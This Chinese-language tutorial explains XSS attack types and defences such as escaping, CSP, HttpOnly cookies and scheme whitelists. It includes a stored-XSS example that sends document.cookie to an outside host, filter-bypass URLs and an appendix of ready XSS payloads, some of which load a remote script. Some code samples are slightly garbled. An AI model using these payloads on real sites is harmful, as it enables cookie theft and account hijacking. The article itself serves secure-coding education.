java 最新Xss攻擊與防護(全方位360°詳解)
前沿
XSS防范屬於前端還是後端的責任 ?
XSS 防范是後端 RD(研發人員)的責任,後端 RD 應該在所有用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操作。
所有要插入到頁面上的數據,都要通過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符後,就可以插入到頁面中。
公司的搜索頁面如果你是下面的寫法。那麼他可能存在Xss註入
<input type="text" value="<%= getParameter("keyword") %>"> <button>搜索</button> <div> 您搜索的關鍵詞是:<%= getParameter("keyword") %> </div>
1. 什麼是xss攻擊?
Xss 即(Cross Site Scripting)中文名稱為:跨站腳本攻擊。XSS的重點不在於跨站點,而在於腳本的執行。
1.1 原理
惡意代碼未經過濾,與網站正常的代碼混在一起;瀏覽器無法分辨哪些腳本是可信的,導致惡意腳本被執行。而由於直接在用戶的終端執行,惡意代碼能夠直接獲取用戶的信息,或者利用這些信息冒充用戶向網站發起攻擊者定義的請求。
1.2 分類
Xss攻擊最主要有如下分類:反射型Xss(非持久型)、存儲型Xss(持久型)和DOM Xss。
1.2.1 反射型Xss(瞭解)
原理
反射性xss一般指攻擊者通過特定的方式來誘惑受害者去訪問一個包含惡意代碼的URL。當受害者點擊惡意鏈接url的時候,惡意代碼會直接在受害者的主機上的瀏覽器執行。
步驟
- 攻擊者在url後面的參數中加入惡意攻擊代碼。
- 當用戶打開帶有惡意代碼的URL的時候,網站服務端將惡意代碼從URL中取出,拼接在html中並且返回給瀏覽器端。
- 用戶瀏覽器接收到響應後執行解析,其中的惡意代碼也會被執行到。
- 攻擊者通過惡意代碼來竊取到用戶數據並發送到攻擊者的網站。攻擊者會獲取到比如cookie等信息,然後使用該信息來冒充合法用戶的行為,調用目標網站接口執行攻擊等操作。
演示
<title>csrf攻擊</title> <a href="http://localhost:3001/xss" rel="external nofollow" >xxs 攻擊</a> <a href="http://localhost:3001/testcookie" rel="external nofollow" >testcookie 攻擊</a>
//第一個鏈接 可以彈出指定的彈窗 router.get('/xss', (ctx, next) => { ctx.body = '<script>alert("反射型 XSS 攻擊")</script>'; }); //獲取當前的所有cookie router.get('/testcookie', (ctx, next) => { console.log(ctx.cookies.get('connect.sid')); ctx.body = '<script>alert("'+ctx.cookies.get('connect.sid')+'")</script>'; next(); });
1.2.2 存儲型Xss(瞭解)
原理
主要是將惡意代碼上傳或存儲到服務器中,下次隻要受害者瀏覽包含此惡意代碼的頁面就會執行惡意代碼。
場景
比如我現在做瞭一個博客網站,然後攻擊者在上面發佈瞭一篇文章,內容是如下:<script>window.open(“www.gongji.com?param=”+document.cookie)</script> 如果我沒有對該文章進行任何處理的話,直接存入到數據庫中,那麼下一次當其他用戶訪問該文章的時候,服務器會從數據庫中讀取後然後響應給客戶端,那麼瀏覽器就會執行這段腳本,然後攻擊者就會獲取到用戶的cookie,然後會把cookie發送到攻擊者的服務器上瞭。
步驟
- 攻擊者將惡意代碼提交到目標網站數據庫中。
- 用戶打開目標網站時,網站服務器將惡意代碼從數據庫中取出,然後拼接到html中返回給瀏覽器中。
- 用戶瀏覽器接收到響應後解析執行,那麼其中的惡意代碼也會被執行。
- 那麼惡意代碼執行後,就能獲取到用戶數據,比如上面的cookie等信息,那麼把該cookie發送到攻擊者網站中,那麼攻擊者拿到該
cookie然後會冒充該用戶的行為,調用目標網站接口等違法操作。
1.2.3 DOM-based型Xss(瞭解)
原理
我們客戶端的js可以對頁面dom節點進行動態的操作,比如插入、修改頁面的內容。比如說客戶端從URL中提取數據並且在本地執行、如果用戶在客戶端輸入的數據包含瞭惡意的js腳本的話,但是這些腳本又沒有做任何過濾處理的話,那麼我們的應用程序就有可能受到DOM-based Xss的攻擊。
步驟
- 攻擊者構造出特殊的URL、在其中可能包含惡意代碼。
- 用戶打開帶有惡意代碼的URL。
- 用戶瀏覽器收到響應後解析執行。前端使用js取出url中的惡意代碼並執行。
- 執行時,惡意代碼竊取用戶數據並發送到攻擊者的網站中,那麼攻擊者網站拿到這些數據去冒充用戶的行為操作。調用目標網站接口
執行攻擊者一些操作。
攻擊代碼
- 使用document.write直接輸出導致瀏覽器解析惡意代碼
- 使用innerHTML直接輸出導致瀏覽器解析惡意代碼
- 使用location/location.href/location.replace/iframe.src 造成的XSS
<script type="text/javascript"> var s = location.search; // 返回URL中的查詢部分(?之後的內容) // 為瞭方便演示,我們假如url是 如下這樣的 // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); // 然後我們的是 s 的值就為如下: s = "?url=javascript:alert('xsstest')"; s = s.substring(1, s.length); // 返回整個查詢內容 var url = ""; // 定義變量url if (s.indexOf("url=") > -1) { // 判斷URL是否為空 var pos = s.indexOf("url=") + 4; // 過濾掉"url="字符 url = s.substring(pos, s.length); // 得到地址欄裡的url參數 } else { url = "url參數為空"; } document.write('url: <a href="'%20+%20url%20+%20'" rel="external nofollow" >"'%20+%20url%20+%20'"</a>'); </script>
2. Xss有什麼危害?
2.1 劫持訪問
劫持訪問就是在惡意腳本中插入諸如的代碼,那麼頁面就會跳轉到百度首頁.像http://qq.com這樣的域名下出現…,那麼在發送釣魚鏈接時就可以通過http://qq.com等域名進行跳轉,一般人一看到http://qq.com之類的域名警惕性會下降,也就更容易上當瞭。
2.2 盜用cookie實現無密碼登錄
由於盜取的cookie需要傳回給攻擊者,因此往往需要一個服務器來接收盜取的cookie。
2.3 配合csrf攻擊完成惡意請求
Csrf攻擊就是在未經你許可的情況下用你的名義發送惡意請求(比如修改密碼,銀行轉賬等)
2.4 其他危害
DOS(拒絕服務)客戶端瀏覽器。
掛馬
劫持用戶Web行為,甚至進一步滲透內網。
刪除目標文章、惡意篡改數據、嫁禍。
蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網上數據
蠕蟲式的DDoS攻擊。
3. 防范手段
3.1 兩大要素
XSS 攻擊有兩大要素:
- 攻擊者提交惡意代碼(輸入過濾)。
- 瀏覽器執行惡意代碼。
xss攻擊要能達成往往需要較長的字符串,因此對於一些可以預期的輸入可以通過限制長度強制截斷來進行防禦。
3.2 預防方案
3.2.1 輸入過濾
- 對輸入的內容諸如<script>、<img>等標簽進行過濾
- 其次是編碼。像一些常見的符號,如<>在輸入的時候要對其進行轉換編碼,這樣做瀏覽器是不會對該標簽進行解釋執行的,同時也不影響顯示效果。
3.2.2 預防存儲型和反射型 Xss 攻擊
預防這兩種漏洞,有兩種常見做法:
- 改成純前端渲染,把代碼和數據分隔開。
- 對 HTML 做充分轉義。
3.2.2.1 純前端渲染
純前端渲染的過程:
- 瀏覽器先加載一個靜態 HTML,此 HTML 中不包含任何跟業務相關的數據。
- 然後瀏覽器執行 HTML 中的 JavaScript。
- JavaScript 通過 Ajax 加載業務數據,調用 DOM API 更新到頁面上。
3.2.2.2 轉義 HTML
如果拼接 HTML 是必要的,就需要采用合適的轉義庫,對 HTML 模板各處插入點進行充分的轉義。
對於 HTML 轉義通常隻有一個規則,就是把 & < > ” ‘ / 這幾個字符轉義掉,確實能起到一定的 XSS 防護作用,但並不完善:
所以要完善 Xss 防護措施,我們要使用更完善更細致的轉義策略。
例如 Java 工程裡,常用的轉義庫為 org.owasp.encoder
3.2.3 輸入內容長度控制
對於不受信任的輸入,都應該限定一個合理的長度。雖然無法完全防止 Xss 發生,但可以增加 Xss 攻擊的難度。
對於明確的輸入類型,例如數字、URL、電話號碼、郵件地址等等內容,進行輸入過濾還是必要的。
3.2.4 Cookie的安全設置
HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 註入後也無法竊取此 Cookie。
- http-only: 隻允許http或https請求讀取cookie、JS代碼是無法讀取cookie的(document.cookie會顯示http-only的cookie項被自動過濾掉)。發送請求時自動發送cookie.
- secure-only: 隻允許https請求讀取,發送請求時自動發送cookie。
- host-only: 隻允許主機域名與domain設置完成一致的網站才能訪問該cookie。
3.2.5 安全驗證
驗證碼:防止腳本冒充用戶提交危險操作。
3.2.6 開啟CSP網頁安全政策
Content-Security-Policy 中文的意思是 網頁安全政策,
CSP是網頁安全政策(Content Security Policy)的縮寫。主要用來防止Xss攻擊。是一種由開發者定義的安全性政策申明,通過CSP所約束的責任指定可信的內容來源,通過 Content-Security-Policy 網頁的開發者可以控制整個頁面中 外部資源 的加載和執行。
比如可以控制哪些 域名下的靜態資源可以被頁面加載,哪些不能被加載。這樣就可以很大程度的防范瞭 來自 跨站(域名不同) 的腳本攻擊
我們隻需要在meta屬性中設置下即可:如下代碼:
<meta http-equiv="Content-Security-Policy" content=" default-src http: https: *.xxx.com 'self' 'unsafe-inline' ; style-src 'self' 'unsafe-inline' *.yyy.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' ; ">
- default-src 給下面所有的規則設定一個默認值
- script-src 外部腳本
- style-src 樣式表
- img-src 圖像
- media-src 媒體文件(音頻和視頻)
- font-src 字體文件
- object-src 插件(比如 Flash)
- child-src 框架
- 3.2.7 避免內聯事件
避免內聯事件 盡量不要使用 onLoad=”onload(‘{{data}}’)”、onClick=”go(‘{{action}}’)” 這種拼接內聯事件的寫法。在 JavaScript 中通過 .addEventlistener() 事件綁定會更安全。
4. 總結
整體的 XSS 防范是非常復雜和繁瑣的,我們不僅需要在全部需要轉義的位置,對數據進行對應的轉義。而且要防止多餘和錯誤的轉義,避免正常的用戶輸入出現亂碼。
雖然很難通過技術手段完全避免 XSS,但我們可以總結以下原則減少漏洞的產生:
- 利用模板引擎 開啟模板引擎自帶的 HTML 轉義功能。例如: 在 ejs 中,盡量使用 <%= data %> 而不是 <%- data %>; 在 doT.js 中,盡量使用 {{! data } 而不是 {{= data }; 在 FreeMarker 中,確保引擎版本高於 2.3.24,並且選擇正確的 freemarker.core.OutputFormat。
- 避免內聯事件 盡量不要使用 onLoad=”onload(‘{{data}}’)”、onClick=”go(‘{{action}}’)” 這種拼接內聯事件的寫法。在 JavaScript 中通過 .addEventlistener() 事件綁定會更安全。
- 避免拼接 HTML 前端采用拼接 HTML 的方法比較危險,如果框架允許,使用 createElement、setAttribute 之類的方法實現。或者采用比較成熟的渲染框架,如 Vue/React 等。
- 時刻保持警惕 在插入位置為 DOM 屬性、鏈接等位置時,要打起精神,嚴加防范。
- 增加攻擊難度,降低攻擊後果 通過 CSP、輸入長度配置、接口安全措施等方法,增加攻擊的難度,降低攻擊的後果。
- 主動檢測和發現 可使用 XSS 攻擊字符串和自動掃描工具尋找潛在的 XSS 漏洞。
5. 真實場景(搜索場景)
某天,公司需要一個搜索頁面,根據 URL 參數決定關鍵詞的內容
1. 原始版本
<input type="text" value="<%= getParameter("keyword") %>"> <button>搜索</button> <div> 您搜索的關鍵詞是:<%= getParameter("keyword") %> </div>
當執行 http://xxx/search?keyword=”><script>alert(‘XSS’);</script>,服務端會解析出請求參數 keyword,得到 “><script>alert(‘XSS’);</script>,拼接到 HTML 中返回給瀏覽器,頁面就出現如下內容,alert 會彈出兩次。
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關鍵詞是:"><script>alert('XSS');</script> </div>
2. Xss的轉義攻擊
<input type="text" value="<%=%20escapeHTML(getParameter("keyword")) %>"> <button>搜索</button> <div> 您搜索的關鍵詞是:<%=%20escapeHTML(getParameter("keyword")) %> </div>
escapeHTML() 按照如下規則進行轉義:|字符|轉義後的字符| |-|-| |&|&| |<|<| |>|>| |”|”| |’|’| |/|/|
經過瞭轉義函數的處理後,最終瀏覽器接收到的響應為:
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關鍵詞是:"><script>alert('XSS');</script> </div>
小結論
- 通常頁面中包含的用戶輸入內容都在固定的容器或者屬性內,以文本的形式展示。
- 攻擊者利用這些頁面的用戶輸入片段,拼接特殊格式的字符串,突破原有位置的限制,形成瞭代碼片段。
- 攻擊者通過在目標網站上註入腳本,使之在用戶的瀏覽器上運行,從而引發潛在風險。
- 通過 HTML 轉義,可以防止 XSS 攻擊。。
3. Xss過濾攻擊
當請求為: http://xxx/?redirect_to=javascript:alert(‘XSS’) 時
<a href="<%=%20escapeHTML(getParameter(" rel="external nofollow" rel="external nofollow" rel="external nofollow" redirect_to")) %>">跳轉...</a>
當攻擊 URL 為 http://xxx/?redirect_to=javascript:alert(‘XSS’),服務端響應就成瞭:
<a href="javascript:alert('XSS')" rel="external nofollow" >跳轉...</a>
雖然代碼不會立即執行,但一旦用戶點擊 a 標簽時,瀏覽器會就會彈出“XSS”。
解決方案 過濾
// 禁止 URL 以 "javascript:" 開頭 xss = getParameter("redirect_to").startsWith('javascript:'); if (!xss) { <a href="<%=%20escapeHTML(getParameter(" rel="external nofollow" rel="external nofollow" rel="external nofollow" redirect_to"))%>"> 跳轉... </a> } else { <a href="/404" rel="external nofollow" rel="external nofollow" > 跳轉... </a> }
4. Xss的大小寫攻擊
當請求為:http://xxx/?redirect_to=%20javascript:alert(‘XSS’) 時
%20javascript:alert(‘XSS’) 經過 URL 解析後變成 javascript:alert(‘XSS’),這個字符串以空格開頭。這樣攻擊者可以繞過後端的關鍵詞規則,又成功的完成瞭註入。
解決方案 白名單
// 根據項目情況進行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等 allowSchemes = ["http", "https"]; valid = isValid(getParameter("redirect_to"), allowSchemes); if (valid) { <a href="<%=%20escapeHTML(getParameter(" rel="external nofollow" rel="external nofollow" rel="external nofollow" redirect_to"))%>"> 跳轉... </a> } else { <a href="/404" rel="external nofollow" rel="external nofollow" > 跳轉... </a> }
大結論
- 在 HTML 中內嵌的文本中,惡意內容以 script 標簽形成註入。
- 在內聯的 JavaScript 中,拼接的數據突破瞭原本的限制(字符串,變量,方法名等)。
- 在標簽屬性中,惡意內容包含引號,從而突破屬性值的限制,註入其他屬性或者標簽。
- 在標簽的 href、src 等屬性中,包含 javascript: 等可執行代碼。
- 在 onload、onerror、onclick 等事件中,註入不受控制代碼。
- 在 style 屬性和標簽中,包含類似 background-image:url(“javascript:…”); 的代碼(新版本瀏覽器已經可以防范)。
- 在 style 屬性和標簽中,包含類似 expression(…) 的 CSS 表達式代碼(新版本瀏覽器已經可以防范)。
總之,如果開發者沒有將用戶輸入的文本進行合適的過濾,就貿然插入到 HTML 中,這很容易造成註入漏洞。攻擊者可以利用漏洞,構造出惡意的代碼指令,進而利用惡意代碼危害數據安全。
6. 附常見的XSS攻擊方法
JavaScript註入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
IMG標簽XSS
<IMG SRC=http://3w.org/XSS/xss.js/>
IMG標簽無分號無引號
<IMG SRC=javascript:alert('XSS')>
HTML編碼(必須有分號)
<IMG SRC=javascript:alert("XSS")>
換碼過濾的JavaScript
\";alert('XSS');//
結束Title標簽
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
Iframe
<IFRAME class="lazy" data-src="javascript:alert('XSS');"></IFRAME>
DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
節省[http:]
<A href="//www.google.com/" rel="external nofollow" >XSS</A>
到此這篇關於java 最新Xss攻擊與防護(全方位360°詳解)的文章就介紹到這瞭,更多相關java Xss攻擊防護內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!
推薦閱讀:
- javascript:void(0)的含義及用法實例
- Vue快速理解事件綁定是什麼
- vue快速入門基礎知識教程
- 詳解servlet調用的幾種簡單方式總結
- 基於python詳解PyScript到底是什麼